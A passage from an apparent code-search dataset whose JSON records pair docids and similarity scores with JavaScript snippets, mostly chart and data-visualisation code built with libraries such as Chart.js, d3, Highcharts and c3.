uRed,\n },\n {\n label: 'Iron/Folic Supplement Coverage',\n data: valueIronFolic,\n backgroundColor: uBlue,\n borderWidth: 0,\n },\n ]\n },\n options: {\n scales: {\n yAxes: [{\n ticks: {\n beginAtZero: true,\n maxTicksLimit: 5,\n },\n gridLines: {\n borderDash: [3, 10]\n }\n }],\n xAxes: [{\n gridLines: {\n drawOnChartArea: false,\n }\n }],\n },\n maintainAspectRatio: false,\n }\n });\n\n//---Section 4 Chart\n\n//--->Socio Status Chart\n let socioStatusSort = socio.slice().sort((a, b) => b[\"ValueSocioStatus\"] - a[\"ValueSocioStatus\"]);\n let valueSocio = socioStatusSort.map(d => d[\"ValueSocioStatus\"]);\n let nationalSocio = socioStatusSort.map(d => d[\"NationalSocioStatus\"]);\n let provinceSocio = socioStatusSort.map(d => d[\"Province\"]);\n let getSocioStatusChart = document.getElementById('socioStatusChart').getContext(\"2d\");\n let socioStatusChart = new Chart(getSocioStatusChart, {\n type: 'bar',\n data: {\n labels: provinceSocio,\n datasets: [\n {\n label: 'National 23.2%',\n data: nationalSocio,\n type: 'line',\n pointStyle: \"line\",\n borderWidth: 1,\n fill: false,\n backgroundColor: uRed,\n borderColor: uRed,\n },\n {\n label: 'Proportion of population below poverty line',\n data: valueSocio,\n backgroundColor: uBlue,\n hoverBackgroundColor: uDarkBlue,\n borderWidth: 0,\n },\n ]\n },\n options: {\n scales: {\n yAxes: [{\n ticks: {\n beginAtZero: true,\n maxTicksLimit: 6,\n },\n gridLines: {\n borderDash: [3, 10]\n }\n }],\n xAxes: [{\n gridLines: {\n drawOnChartArea: false,\n }\n }],\n },\n maintainAspectRatio: false,\n }\n });\n\n //Function to change Language\n function changeLanguage() {\n let inputLanguage = localStorage.getItem('language');\n if ((inputLanguage === null) || (inputLanguage === \"en\")) {\n } else {\n wastingAndOverweightChart.chart.data.datasets[0].label = 'ເດັກຂາດສານອາຫານຊໍາເຮື້ອແບບຈ໋ອຍ';\n wastingAndOverweightChart.chart.data.datasets[1].label = 'ເດັກນໍ້າໜັກເກີນມາດຕະຖານ';\n drawVitAChart.chart.data.datasets[0].label = \"ເປີເຊັນການປົກຫຸ້ມວິຕາມິນເອ\";\n }\n }\n\n changeLanguage();\n\n}", "title": "" }, { "docid": "da1fcffff1dddcb2306dc26eeb4a363a", "score": "0.48664725", "text": "function createChart(){\n nv.addGraph(function() {\n ret.chart = nv.models.multiBarHorizontalFilterChart()\n //.x(function(d) { return d.label }) //required?\n .y(function(d) { return d.value }) //required?\n .margin(o.margin)\n .showValues(o.showValues)\n .valueFormat(o.valueFormat)\n .tooltips(o.tooltips)\n .color(o.palette)\n .transitionDuration(o.transitionDuration)\n .showControls(o.showControls)\n .showLegend(o.showLegend)\n .stacked(o.stacked);\n\n ret.chart.yAxis\n .tickFormat(o.valueFormat);\n\n ret.chart.multibar.dispatch.on('elementClick',function(e){\n var update = {};\n var value = e['point']['index'];\n //console.log(e);\n if(e['point']['label']===o.state[e['series']['dim']]()){ // check if value is already selected\n value = 0; // set to unselected\n }\n update[e['series']['dim']]=value; //cannot create the update object direct\n anchor.changeAnchorPart(update);\n });\n\n d3.select(o.container)\n .datum(ret.chartData)\n .call(ret.chart);\n\n nv.utils.windowResize(ret.chart.update);\n\n ret.chart.dispatch.on('stateChange', function(e) { nv.log('New State:', JSON.stringify(e)); });\n\n return ret.chart;\n });\n }", "title": "" }, { "docid": "c2a16af0a14b9d0c4d8d6d1341aac178", "score": "0.48642054", "text": "constructor(id,container,x,y,width,height,opcoes){\n this.id = id;\n this.margin = {top: 5, right: 2, bottom: 40, left: 40}; \n this.x = x;\n this.y = y;\n this.totalWidth = width;\n this.totalHeight = height;\n this.width = this.totalWidth - this.margin.left - this.margin.right;\n this.height = this.totalHeight - this.margin.top - this.margin.bottom;\n this.selectedIDS = [];\n\n this.canvas = container.append(\"g\").attr(\"transform\",\"translate(\" + (this.x + this.margin.left) + \",\" + (this.y + this.margin.top) + \")\");\n this.xScale = d3.scaleBand().rangeRound([0, this.width]).padding(0.2);\n this.yScale = d3.scaleLinear().rangeRound([this.height,0]);\n\n this.data = [];\n\n this.xAxisGroup = this.canvas.append(\"g\")\n .attr(\"class\",\"xAxis\")\n .attr(\"transform\",\"translate(0,\"+(height-this.margin.top - this.margin.bottom)+\")\");\n this.xAxis = d3.axisBottom(this.xScale).ticks(10);\n\n this.xAxisGroup.call(this.xAxis);\n this.selected;\n\n \n this.yAxisGroup = this.canvas.append(\"g\")\n .attr(\"class\",\"yAxis\")\n .attr(\"transform\",\"translate(0,0)\");\n this.yAxis = d3.axisLeft(this.yScale);\n this.yAxisGroup.call(this.yAxis);\n this.dados_chart = [];\n\n\n\n\n\n\n this.opcoes;\n\n//Create and append select list\n this.selectList = document.createElement(\"select\");\n this.selectList.id = \"comboboxBar\";\n\n\n \n\n\n /*\n var that = this;\n this.brush = d3.brush();\n this.brushGroup = this.canvas.append(\"g\").attr(\"class\",\"brush\");\n this.brush(this.brushGroup);\n this.brush.on(\"start\",function(){that.brushStarted(that)});\n this.brush.on(\"brush\",function(){that.brushMoved(that)});\n this.brush.on(\"end\",function(){that.brushEnded(that)});\n */\n\n }", "title": "" }, { "docid": "89d040df406ee47512989b84523e60d3", "score": "0.48555332", "text": "setCrossTable(cTable) {\n this.pdfCrossTable = cTable;\n }", "title": "" }, { "docid": "89d040df406ee47512989b84523e60d3", "score": "0.48555332", "text": "setCrossTable(cTable) {\n this.pdfCrossTable = cTable;\n }", "title": "" }, { "docid": "47d414cb45b12c8872ab6f2b7252f6de", "score": "0.48515382", "text": "function createNubs (point) {\r\n\t\r\n\tvar knots1 = knots(point);\r\n\tvar c1 = NUBS(S0)(2)(knots1)(point);\r\n //var c1Map = MAP(c1)(domain1)\r\n //DRAW(c1Map)\r\n\t\treturn c1;\r\n}", "title": "" }, { "docid": "a3bc68cb643640326d1ed19bec94de47", "score": "0.48502922", "text": "function drawPcoords(groups) {\n\n activeGroups = groups;\n pcY = {};\n pcDragging = {};\n\n // transform the groups into a set of features with their assoicated group information inside each feature\n var features = groups.reduce(function(acc, group,i){\n\n var groupHeight = height / groups.length;\n var groupDomain = group.range;\n\n return group.features.reduce(function(innerAcc, f, fi){\n pcY[f.name] = d3.scaleLinear()\n .domain(group.range)\n .range([pcHeight, 0]);\n\n innerAcc.push({\n group: {name: group.name, range: group.range},\n name: f.name,\n values: f.values\n })\n return innerAcc\n },acc);\n }, []);\n\n pcX = d3.scaleBand().rangeRound([0, pcWidth]).padding(1);\n pcX.domain(pcDimensions = features.map(function (d,i) {\n return d.name;\n })\n );\n\n\n\n // zip all features together by date so that a line is a single row in the dataset\n var dataZipped = features[0].values.map(function(f,i){\n return _.zipObject(features.map(function(f){return f.name}), features.map(function(f){return f.values[i]}));\n })\n\n // removes the old chart\n d3.select('.pc-container').select('svg').remove();\n\n // adds new one\n var pcSvg = d3.select('.pc-container')\n .append(\"svg\")\n .attr(\"width\", pcWidth + pcMargin.left + pcMargin.right)\n .attr(\"height\", pcHeight + pcMargin.top + pcMargin.bottom)\n .append(\"g\")\n .attr(\"transform\", \"translate(\" + pcMargin.left + \",\" + pcMargin.top + \")\");\n\n // init the brushes to empty\n pcExtents = pcDimensions.map(function (p) {\n return [0, 0];\n });\n //\n // Add grey background lines for context when filtering.\n pcBackground = pcSvg.append(\"g\")\n .attr(\"class\", \"background\")\n .selectAll(\"path\")\n .data(dataZipped)\n .enter().append(\"path\")\n .attr(\"d\", path);\n\n // Add gold foreground lines for focus.\n pcForeground = pcSvg.append(\"g\")\n .attr(\"class\", \"foreground\")\n .selectAll(\"path\")\n .data(dataZipped)\n .enter().append(\"path\")\n .attr(\"d\", path);\n\n // Add a group element for each dimension.\n var pcAxisGroups = pcSvg.selectAll(\".dimension\")\n .data(features)\n .enter().append(\"g\")\n .attr(\"class\", \"dimension\")\n .attr(\"transform\", function (d) {\n return \"translate(\" + pcX(d.name) + \")\";\n });\n\n // reordering features interaction\n pcAxisGroups.call(d3.drag()\n .subject(function (d) {\n return {x: pcX(d.name)};\n })\n .on(\"start\", function (d) {\n pcDragging[d.name] = pcX(d.name);\n pcBackground.attr(\"visibility\", \"hidden\");\n })\n .on(\"drag\", function (d) {\n pcDragging[d.name] = Math.min(pcWidth, Math.max(0, d3.event.x));\n pcForeground.attr(\"d\", path);\n pcDimensions.sort(function (a, b) {\n return position(a) - position(b);\n });\n pcX.domain(pcDimensions);\n\n pcAxisGroups.attr(\"transform\", function (d) {\n return \"translate(\" + position(d.name) + \")\";\n })\n })\n .on(\"end\", function (d) {\n delete pcDragging[d.name];\n transition(d3.select(this)).attr(\"transform\", \"translate(\" + pcX(d.name) + \")\");\n transition(pcForeground).attr(\"d\", path);\n pcBackground\n .attr(\"d\", path)\n .transition()\n .delay(500)\n .duration(0)\n .attr(\"visibility\", null);\n })\n );\n\n // Add an axis and title.\n pcAxisGroups.append(\"g\")\n .attr(\"class\", \"axis\")\n .each(function (d) {\n d3.select(this).call(d3.axisLeft(pcY[d.name]));\n })\n .append(\"text\")\n .style(\"text-anchor\", \"start\")\n .style(\"transform\", \"rotate(-12deg)\")\n\n .attr(\"y\", -9)\n .attr(\"class\", \"header\")\n .text(function (d, i) {\n return d.name.split(\"_\").join(\" \");\n });\n\n // Add and store a brush for each axis.\n pcAxisGroups.append(\"g\")\n .attr(\"class\", \"brush\")\n .each(function (d) {\n d3.select(this).call(pcY[d.name].brush = d3.brushY().extent([[-8, 0], [8, pcHeight]])\n .on(\"start\", brushstart)\n .on(\"brush\", brush_parallel_chart)\n .on(\"end\", brush_parallel_chart));\n })\n .selectAll(\"rect\")\n .attr(\"x\", -8)\n .attr(\"width\", 16);\n\n\n\n\n\n function position(d) {\n var v = pcDragging[d];\n return v == null ? pcX(d) : v;\n }\n\n function transition(g) {\n return g.transition().duration(500);\n }\n\n // Returns the path for a given data point.\n function path(d) {\n var linePath = pcDimensions.map(function(k,i) {\n var dat = d[k];\n var axisCoords = [position(k), pcY[k](dat.val)];\n return axisCoords;\n })\n var lineRet = pcLine(linePath);\n return lineRet;\n }\n\n function brushstart() {\n d3.event.sourceEvent.stopPropagation();\n }\n\n // Handles a brush event, toggling the display of foreground lines.\n function brush_parallel_chart() {\n for (var i = 0; i < pcDimensions.length; ++i) {\n if (d3.event.target == pcY[pcDimensions[i]].brush) {\n if (d3.event.selection == null) {\n pcExtents[i] = [0,0];\n } else {\n pcExtents[i] = d3.event.selection.map(pcY[pcDimensions[i]].invert, pcY[pcDimensions[i]]);\n }\n }\n }\n pcForeground.style(\"display\", function (d) {\n return pcDimensions.every(function (p, i) {\n var val = d[p].val;\n if (pcExtents[i][0] == 0 && pcExtents[i][1] == 0) {\n return true;\n }\n return pcExtents[i][1] <= val && val <= pcExtents[i][0];\n }) ? null : \"none\";\n });\n }\n\n\n\n}", "title": "" }, { "docid": "8c1337b30c3d8d5c7272483106825dcd", "score": "0.4848686", "text": "PushDataz(x,y,num){\n // je pousse le coups joué dans la liste des coups joués\n this.CL('I','PushDataz',x+''+y,'F')\n this.CasesJoues.seriedecoups.push(''+x+''+y+'')\n // this.CL('I','PushDataz','ok >? '+this.CasesJoues.seriedecoups[this.CasesJoues.seriedecoups.length-1],'F')\n }", "title": "" }, { "docid": "6c16ad182b8cd231bd25e3da4df0025b", "score": "0.4844014", "text": "function drawImbalChart(elem, pickups, dropoffs) {\n var data = new google.visualization.DataTable();\n data.addColumn('timeofday', 'Time of Day');\n data.addColumn('number', 'D-P');\n\n data.addRows(makeRows(pickups, dropoffs, true));\n\n var options = {\n title: 'Intraday Trip Imbalance',\n colors: ['#9575cd'],\n hAxis: {\n title: 'Time of Day',\n format: 'h:mm a',\n viewWindow: {\n min: [0, 0, 0],\n max: [24, 0, 0]\n },\n textStyle: { fontSize: 8}\n },\n vAxis: { title: 'Average # Trips', textStyle: { fontSize: 8} },\n chartArea: { left: \"18%\", width: \"64%\", height: \"70%\"}, \n legend: { textStyle: { fontSize: 8 }}\n };\n\n var container = document.getElementById(elem);\n var chart = new google.visualization.ColumnChart(container);\n chart.draw(data, options);\n }", "title": "" }, { "docid": "930c0cfb768445407f8d8f69283fe668", "score": "0.4842321", "text": "function drawCoffee(data,busDistances,svg){\n var arrayData = jsonToArray(data)\n \n coffeeStats(arrayData)\n drawBus(busDistances)\n var w = window\n x = w.innerWidth || e.clientWidth || g.clientWidth;\n y = w.innerHeight|| e.clientHeight|| g.clientHeight;\n \n\tvar projection = d3.geo.mercator().scale(600000).center([-71.116580,42.374059]).translate([x/3,y/2])\n svg.selectAll(\".dots\")\n .data(arrayData)\n .enter()\n .append(\"circle\")\n .attr(\"class\",function(d){\n return cleanString(d.name)})\n .attr(\"r\",5)\n .attr(\"cx\",function(d){\n var lat = parseFloat(d.lat)\n var lng = parseFloat(d.lng)\n //to get projected dot position, use this basic formula\n var projectedLng = projection([lng,lat])[0]\n return projectedLng\n })\n .attr(\"cy\",function(d){\n var lat = parseFloat(d.lat)\n var lng = parseFloat(d.lng)\n var projectedLat = projection([lng,lat])[1]\n return projectedLat\n })\n .attr(\"fill\",function(d){\n return \"#fff\"\n })\n .attr(\"stroke\",\"#000\")\n .on(\"click\",function(d){\n d3.select(\"#chartName\").html(d.name)\n d3.selectAll(\"#map svg circle\").transition().duration(300).style(\"fill\",\"#fff\").style(\"opacity\",.2)\n d3.select(this).transition().duration(300).style(\"fill\",\"#000\").style(\"opacity\",1)\n d3.selectAll(\"#busC svg rect\").transition().duration(300).style(\"fill\",\"#000\").style(\"opacity\",.1)\n d3.selectAll(\"#busC svg .\"+cleanString(d.name)).transition().duration(300).style(\"fill\",\"red\").style(\"opacity\",.5)\n \n drawStopsMap(d.name,busDistances)\n \n for(var i in d[\"independent\"]){\n d3.selectAll(\"#map .\"+cleanString(i)).transition().duration(300).style(\"fill\",\"#aaa\").style(\"opacity\",1)\n }\n for(var i in d[\"chain\"]){\n d3.select(\"#map svg\").append(\"circle\")\n .attr(\"cx\",function(){\n var lat = parseFloat(d[\"chain\"][i].lat)\n var lng = parseFloat(d[\"chain\"][i].lng)\n //to get projected dot position, use this basic formula\n var projectedLng = projection([lng,lat])[0]\n return projectedLng\n })\n .attr(\"cy\",function(){\n var lat = parseFloat(d[\"chain\"][i].lat)\n var lng = parseFloat(d[\"chain\"][i].lng)\n //to get projected dot position, use this basic formula\n var projectedLat = projection([lng,lat])[1]\n return projectedLat\n })\n .attr(\"r\",3)\n d3.selectAll(\"#map .\"+cleanString(i)).style(\"fill\",\"#aaa\")\n }\n // drawRadius(d.lat,d.lng)\n drawBusiness(d)\n })\n .style(\"opacity\",1)\n \n}", "title": "" }, { "docid": "10ae055530ea4847008bb976ca1cd516", "score": "0.48339853", "text": "constructor(circleChart, calendarChart, bikeData){\n this.circleChart = circleChart;\n this.calendarChart = calendarChart;\n this.bikeData = bikeData;\n // this.divSelectionChart = d3.select(\"#selection-chart\").classed(\"sideBar\", true);\n }", "title": "" }, { "docid": "b44459389fbfdabf6ed18b60ea4f9048", "score": "0.48335665", "text": "function crossable_top_by_cusip_hy_chart() {\r\n //var to catch any issues while getting data \r\n // var jqxhr_crossable_top_by_cusip_hy = $.get('../../datafiles/widget_data/hy_topbonds_crossed_by_cusip.csv', function (data) {\r\n var jqxhr_crossable_top_by_cusip_hy = $.get('hy_topbonds_crossed_by_cusip.csv', function (data) {\r\n var options = {\r\n //chart options \r\n chart: {\r\n //set type of graph, where it renders\r\n type: 'line',\r\n renderTo: 'crossable_top_by_cusip_hy_container'\r\n },\r\n //set title of graph\r\n title: {\r\n text: 'TRACE High Yield Crossable Activity by Liquidity and CUSIPs',\r\n style: {\r\n color: '#4D759E'\r\n },\r\n align: 'center'\r\n },\r\n //set xAxis title\r\n xAxis: {\r\n title: {\r\n text: 'Date',\r\n style: {\r\n color: '#4D759E',\r\n fontWeight: 'bold'\r\n }\r\n }\r\n },\r\n //set yAxis info \r\n yAxis: {\r\n title: {\r\n text: 'TRACE HY Crossable Activity ( % )',\r\n style: {\r\n color: '#4D759E',\r\n fontWeight: 'bold'\r\n }\r\n },\r\n //make y-axis labels %s\r\n labels: {\r\n formatter: function () {\r\n return this.value + '%';\r\n }\r\n },\r\n //set y-axis to the left side\r\n opposite: false,\r\n //set background grid line width\r\n gridLineWidth: 1\r\n },\r\n //stylize the tooltip \r\n tooltip: {\r\n pointFormat: '<span style=\"color:{series.color}\">{series.name}</span>: <b>{point.y}</b><br/>',\r\n valueSuffix: '%',\r\n valueDecimals: 2\r\n },\r\n //enable and stylize the legend\r\n legend: {\r\n enabled: true,\r\n layout: 'horizontal',\r\n align: 'center',\r\n borderWidth: 1,\r\n borderRadius: 5,\r\n itemDistance: 20,\r\n reversed: false\r\n },\r\n //set the starting range. 0-5. 5=\"All\", 4=\"1yr\", etc\r\n rangeSelector: {\r\n selected: 4,\r\n allButtonsEnabled: true\r\n },\r\n //set general plot options \r\n plotOptions: { \r\n //make the number of points allowed uncapped\r\n series: {\r\n turboThreshold: 0\r\n }\r\n },\r\n //disable credits\r\n credits: {\r\n enabled: false\r\n },\r\n //make download as csv format correctly\r\n navigator: {\r\n series: {\r\n includeInCSVExport: false\r\n }\r\n },\r\n //set name of chart downloads\r\n exporting: {\r\n filename: 'MarketAxess_TRACE_crossable_top_by_cusips_hy',\r\n //enable download icon\r\n enabled: true,\r\n //add image to download\r\n chartOptions: {\r\n chart: {\r\n events: {\r\n load: function () {\r\n this.renderer.image('http://www.marketaxess.com/images/marketaxess_logo2.gif', 90, 75, 300, 48).attr({\r\n opacity: 0.1\r\n }).add();\r\n }\r\n }\r\n },\r\n //remove scrollbar and navigator from downloaded image\r\n scrollbar: {\r\n enabled: false\r\n },\r\n navigator:{\r\n enabled: false\r\n }\r\n },\r\n //make download as csv format correctly\r\n csv: {\r\n dateFormat: '%Y-%m-%d'\r\n }\r\n },\r\n //set graph colors\r\n colors: ['#002244', '#99BBDD', '#DBBB33', '#FFEE66', '#55AA00', '#99CC66', '#5500AA', '#9966CC', '#AA5500', '#F77B00'],\r\n\r\n\r\n //series to be filled by data \r\n series: []\r\n };\r\n //names of labels in order of series. make sure they are the same as series header in data file\r\n var names = ['Overall by CUSIPs', 'Overall Moving Average by CUSIPs', \r\n 'Top by CUSIPs', 'Top Moving Average by CUSIPs', 'Out by CUSIPs', 'Out Moving Average by CUSIPs']; \r\n\r\n //get csv file, multiply by 100 (divide by .01) and populate chart\r\n readCSV(options, data, 0.01, names);\r\n\r\n //make moving average line appear behind\r\n for (var i = 0; i < options.series.length; i++){\r\n if (i % 2 === 0) options.series[i].zIndex = 2; \r\n else options.series[i].zIndex = 1;\r\n } \r\n\r\n var chart = new Highcharts.StockChart(options);\r\n\r\n //make switch button\r\n chart.renderer.button('View by Volume',687, 83, function() {},\r\n {\r\n //normal state (keep static to stop toggle dispay bug)\r\n zIndex: 3,\r\n width: 100,\r\n height: 17,\r\n 'font-weight': 'bolder',\r\n 'font-style': 'oblique',\r\n fill: '#99BBDD'\r\n }, \r\n {//hover state\r\n }\r\n ).on('click', function () { \r\n $('.chart_container').toggle(false);\r\n $('#crossable_top_by_vol_hy_container').toggle(true);\r\n\r\n //switch buttons\r\n $('.by_cusip_buttons').toggle(false)\r\n $('.by_vol_buttons').toggle(true)\r\n }).add();\r\n\r\n\r\n })\r\n //catch and display any errors \r\n .fail(function (jqxhr_crossable_top_by_cusip_hy, exception) {\r\n ajaxError(jqxhr_crossable_top_by_cusip_hy, exception, '#crossable_top_by_cusip_hy_container');\r\n });\r\n\r\n }", "title": "" }, { "docid": "46a0fdcbfc30b647ef73d114e566da69", "score": "0.48113897", "text": "function drawChart(PremierTable) {\r\n\r\n var chart = c3.generate({\r\n bindto:'#HistoricalChart',\r\n size: {height:400,\r\n\r\n },\r\n data: {\r\n columns:\r\n PremierTable\r\n },\r\n colors: {\r\n \"Manchester United FC\" : '#ff0000',\r\n },\r\n tooltip: {\r\n title: function (d) { return 'Matchweek ' + 1; },\r\n grouped: false\r\n },\r\n\r\n axis: {\r\n y: {\r\n inverted: true,\r\n max: 20,\r\n min: 1,\r\n padding: {top:0, bottom: 0},\r\n tick: {count:20},\r\n },\r\n\r\n x: {\r\n // tick: {count:16 },\r\n // min: 1,\r\n // padding: {bottom:0},\r\n }\r\n },\r\n })\r\n\r\n }", "title": "" }, { "docid": "ca0da8e5f377ce4edc1da9e6cf9675e1", "score": "0.48099032", "text": "function createCorrelationCharts(data, ndx) {\n var maxArrivals = d3.max(data, function (d) { return d.visitorsCity; });\n\n var dimBudget = ndx.dimension(function (d) {\n var totalBudget = d.hostelNight + d.meals + d.drinks + d.attractions + d.transport;\n return [d.visitorsCity, totalBudget, d.city];\n });\n\n var budgetGroup = dimBudget.group();\n\n dc.scatterPlot(\"#correlation\")\n .height(200)\n .useViewBoxResizing(true) //to make the chart responsive\n .x(d3.scale.linear().domain([0, maxArrivals]))\n .renderHorizontalGridLines(true)\n .brushOn(false)\n .symbolSize(10)\n .clipPadding(10)\n .xAxisLabel('Number of country visitors per year')\n .yAxisLabel(\"Budget\")\n .transitionDuration(1500)\n .colors('#E76F51')\n .title(function (d) {\n return \"In \" + d.key[2] + \" you will need a daily bugget of \" + d.key[1] + \" \\nand there was \" + d.key[0] + \" millions visits per year\";\n })\n .dimension(dimBudget)\n .group(budgetGroup);\n}", "title": "" }, { "docid": "16993c89fba969f3387343ce2e3cbc5b", "score": "0.48014417", "text": "calcBondsStrategic () {\n this.bondStore.count = 0\n\n const smallCutoffSq = 1.2 * 1.2\n const mediumCutoffSq = 1.9 * 1.9\n const largeCutoffSq = 2.4 * 2.4\n const CHONPS = ['C', 'H', 'O', 'N', 'P', 'S']\n\n function isBonded (atom1, atom2) {\n if (atom1 === null || atom2 === null) {\n return false\n }\n // don't include bonds between different alt positions\n if (atom1.alt !== '' && atom2.alt !== '') {\n if (atom1.alt !== atom2.alt) {\n return false\n }\n }\n\n let cutoffSq\n if (atom1.elem === 'H' || atom2.elem === 'H') {\n cutoffSq = smallCutoffSq\n } else if (\n inArray(atom1.elem, CHONPS) &&\n inArray(atom2.elem, CHONPS)\n ) {\n cutoffSq = mediumCutoffSq\n } else {\n cutoffSq = largeCutoffSq\n }\n\n let diffX = atom1.pos.x - atom2.pos.x\n let diffY = atom1.pos.y - atom2.pos.y\n let diffZ = atom1.pos.z - atom2.pos.z\n let distSq = diffX * diffX + diffY * diffY + diffZ * diffZ\n return distSq <= cutoffSq\n }\n\n let makeBond = (atom1, atom2) => {\n let iBond = this.getBondCount()\n this.bondStore.increment()\n this.bondStore.iAtom1[iBond] = atom1.iAtom\n this.bondStore.iAtom2[iBond] = atom2.iAtom\n\n iBond = this.getBondCount()\n this.bondStore.increment()\n this.bondStore.iAtom1[iBond] = atom2.iAtom\n this.bondStore.iAtom2[iBond] = atom1.iAtom\n }\n\n let residue1 = this.getResidueProxy()\n let residue2 = this.getResidueProxy()\n let nRes = this.getResidueCount()\n let atom1 = this.getAtomProxy()\n let atom2 = this.getAtomProxy()\n\n for (let iRes1 = 0; iRes1 < nRes; iRes1++) {\n residue2.iRes = iRes1\n\n // cycle through all atoms within a residue\n for (let iAtom1 of residue2.getAtomIndices()) {\n for (let iAtom2 of residue2.getAtomIndices()) {\n atom1.iAtom = iAtom1\n atom2.iAtom = iAtom2\n if (isBonded(atom1, atom2)) {\n makeBond(atom1, atom2)\n }\n }\n }\n }\n\n for (let iRes2 = 1; iRes2 < nRes; iRes2++) {\n residue1.iRes = iRes2 - 1\n residue2.iRes = iRes2\n if (residue2.isProteinConnectedToPrev()) {\n if (\n residue1.checkAtomTypes(['C']) &&\n residue2.checkAtomTypes(['N'])\n ) {\n atom1.iAtom = residue1.getIAtom('C')\n atom2.iAtom = residue2.getIAtom('N')\n }\n } else if (residue2.isNucleotideConnectedToPrev()) {\n if (\n residue1.checkAtomTypes([\"O3'\"]) &&\n residue2.checkAtomTypes(['P'])\n ) {\n atom1.iAtom = residue1.getIAtom(`O3'`)\n atom2.iAtom = residue2.getIAtom('P')\n }\n } else {\n continue\n }\n makeBond(atom1, atom2)\n }\n\n // sort bonds by iAtom1\n let iAtom1Array = this.bondStore.iAtom1\n this.bondStore.sort((i, j) => iAtom1Array[i] - iAtom1Array[j])\n\n // asign bonds to atoms\n for (let iAtom = 0; iAtom < this.getAtomCount(); iAtom += 1) {\n this.atomStore.bondCount[iAtom] = 0\n }\n let bond = this.getBondProxy()\n let iAtom1 = null\n for (let iBond = 0; iBond < this.getBondCount(); iBond += 1) {\n bond.iBond = iBond\n if (iAtom1 !== bond.iAtom1) {\n iAtom1 = bond.iAtom1\n this.atomStore.bondOffset[iAtom1] = iBond\n }\n this.atomStore.bondCount[iAtom1] += 1\n }\n\n // this.bondSelect = new BitArray(this.getBondCount())\n }", "title": "" }, { "docid": "893de8def372c25be7b19995de647618", "score": "0.47993857", "text": "function psiBins (psiBin) { \r\n\t\t\t\tcityContainer\r\n\t\t\t\t\t.append(\"rect\")\r\n\t\t\t\t\t\t.attr(\"class\", \"bars_cities\")\r\n\t\t\t\t\t\t.attr(\"height\", 10)\r\n\t\t\t\t\t\t.attr(\"width\", xScaleSegmentBars(index[psiBin]))\r\n\t\t\t\t\t\t.attr(\"y\", yScale(index.city) - 10)\r\n\t\t\t\t\t\t.attr(\"x\", function() { \r\n\t\t\t\t\t\t\tif (psiBin == \"psiRed\") { return xScaleGraphBars(0); }\r\n\t\t\t\t\t\t\tif (psiBin == \"psiOrange\") { return xScaleGraphBars(index.psiRed) }\r\n\t\t\t\t\t\t\tif (psiBin == \"psiYellow\") { return xScaleGraphBars(index.psiRed + index.psiOrange) }\r\n\t\t\t\t\t\t\tif (psiBin == \"psiGreen\") { return xScaleGraphBars(index.psiRed + index.psiOrange + index.psiYellow) }\r\n\t\t\t\t\t\t\tif (psiBin == \"psiGreat\") { return xScaleGraphBars(index.psiRed + index.psiOrange + index.psiYellow + index.psiGreen) }\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t})\r\n\t\t\t\t\t\t.style(\"stroke\", \"none\")\r\n\t\t\t\t\t\t.style(\"fill\", function() { \r\n\t\t\t\t\t\t\tif (psiBin == \"psiRed\") { return psiColors(0) }\r\n\t\t\t\t\t\t\tif (psiBin == \"psiOrange\") { return psiColors(1) }\r\n\t\t\t\t\t\t\tif (psiBin == \"psiYellow\") { return psiColors(2) }\r\n\t\t\t\t\t\t\tif (psiBin == \"psiGreen\") { return psiColors(3) }\r\n\t\t\t\t\t\t\tif (psiBin == \"psiGreat\") { return psiColors(4) }\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t})\r\n\t\t\t\r\n\t\t\t\t//displays lane mileage in PSI bins by percent\r\n\t\t\t\tcityContainer\r\n\t\t\t\t\t.append(\"rect\")\r\n\t\t\t\t\t\t.attr(\"class\", \"bars_cities\")\r\n\t\t\t\t\t\t.attr(\"height\", 10)\r\n\t\t\t\t\t\t.attr(\"width\", xScaleSegmentPercent(index[psiBin]/index.citytotal))\r\n\t\t\t\t\t\t.attr(\"y\", yScale(index.city) - 10)\r\n\t\t\t\t\t\t.attr(\"x\", function() { \r\n\t\t\t\t\t\t\tif (psiBin == \"psiRed\") { return xScaleGraphPercent(0); }\r\n\t\t\t\t\t\t\tif (psiBin == \"psiOrange\") { return xScaleGraphPercent(index.psiRed/index.citytotal) }\r\n\t\t\t\t\t\t\tif (psiBin == \"psiYellow\") { return xScaleGraphPercent((index.psiRed + index.psiOrange)/index.citytotal) }\r\n\t\t\t\t\t\t\tif (psiBin == \"psiGreen\") { return xScaleGraphPercent((index.psiRed + index.psiOrange + index.psiYellow)/index.citytotal) }\r\n\t\t\t\t\t\t\tif (psiBin == \"psiGreat\") { return xScaleGraphPercent((index.psiRed + index.psiOrange + index.psiYellow + index.psiGreen)/index.citytotal) }\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t})\r\n\t\t\t\t\t\t.style(\"stroke\", \"none\")\r\n\t\t\t\t\t\t.style(\"fill\", function() { \r\n\t\t\t\t\t\t\tif (psiBin == \"psiRed\") { return psiColors(0) }\r\n\t\t\t\t\t\t\tif (psiBin == \"psiOrange\") { return psiColors(1) }\r\n\t\t\t\t\t\t\tif (psiBin == \"psiYellow\") { return psiColors(2) }\r\n\t\t\t\t\t\t\tif (psiBin == \"psiGreen\") { return psiColors(3) }\r\n\t\t\t\t\t\t\tif (psiBin == \"psiGreat\") { return psiColors(4) }\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t})\r\n\t\t\t}", "title": "" }, { "docid": "a084b5cd1366cc67ad2e77bafc09e1fe", "score": "0.4795346", "text": "function showCicButtons (cicButtons) { // eslint-disable-line no-unused-vars\n webix.ready(function () {\n webix.ui({\n container: 'root',\n type: 'line',\n rows: [\n { borderless: true, body: { cols: cicButtons } }\n ]\n })\n })\n}", "title": "" }, { "docid": "23d341cd447be5de4741342fa87b8fe9", "score": "0.47866938", "text": "function BizPieWedge()\n{\n var xc, yc; // Center point\n var xs, ys; // Starting angle loc\n var xe, ye; // Ending angle loc\n var xpts = new Array();\n var ypts = new Array();\n}", "title": "" }, { "docid": "7d1a5a0f2dfc41596134287e45cdf15c", "score": "0.47836754", "text": "function createCrosshairs() {\n \n if (app.documents.length > 0) {\n var docRef = app.activeDocument;\n var lineArray = new Array();\n var coord;\n\n for (var i=0; i<=8; i++) {\n coord = getCoordinate(i);\n lineArray[i] = new PathPointInfo;\n lineArray[i].kind = PointKind.CORNERPOINT;\n lineArray[i].anchor = Array(coord[0], coord[1]);\n lineArray[i].leftDirection = lineArray[i].anchor;\n lineArray[i].rightDirection = lineArray[i].anchor;\n }\n \n var lineSubPathArray = new Array();\n lineSubPathArray[0] = new SubPathInfo();\n lineSubPathArray[0].operation = 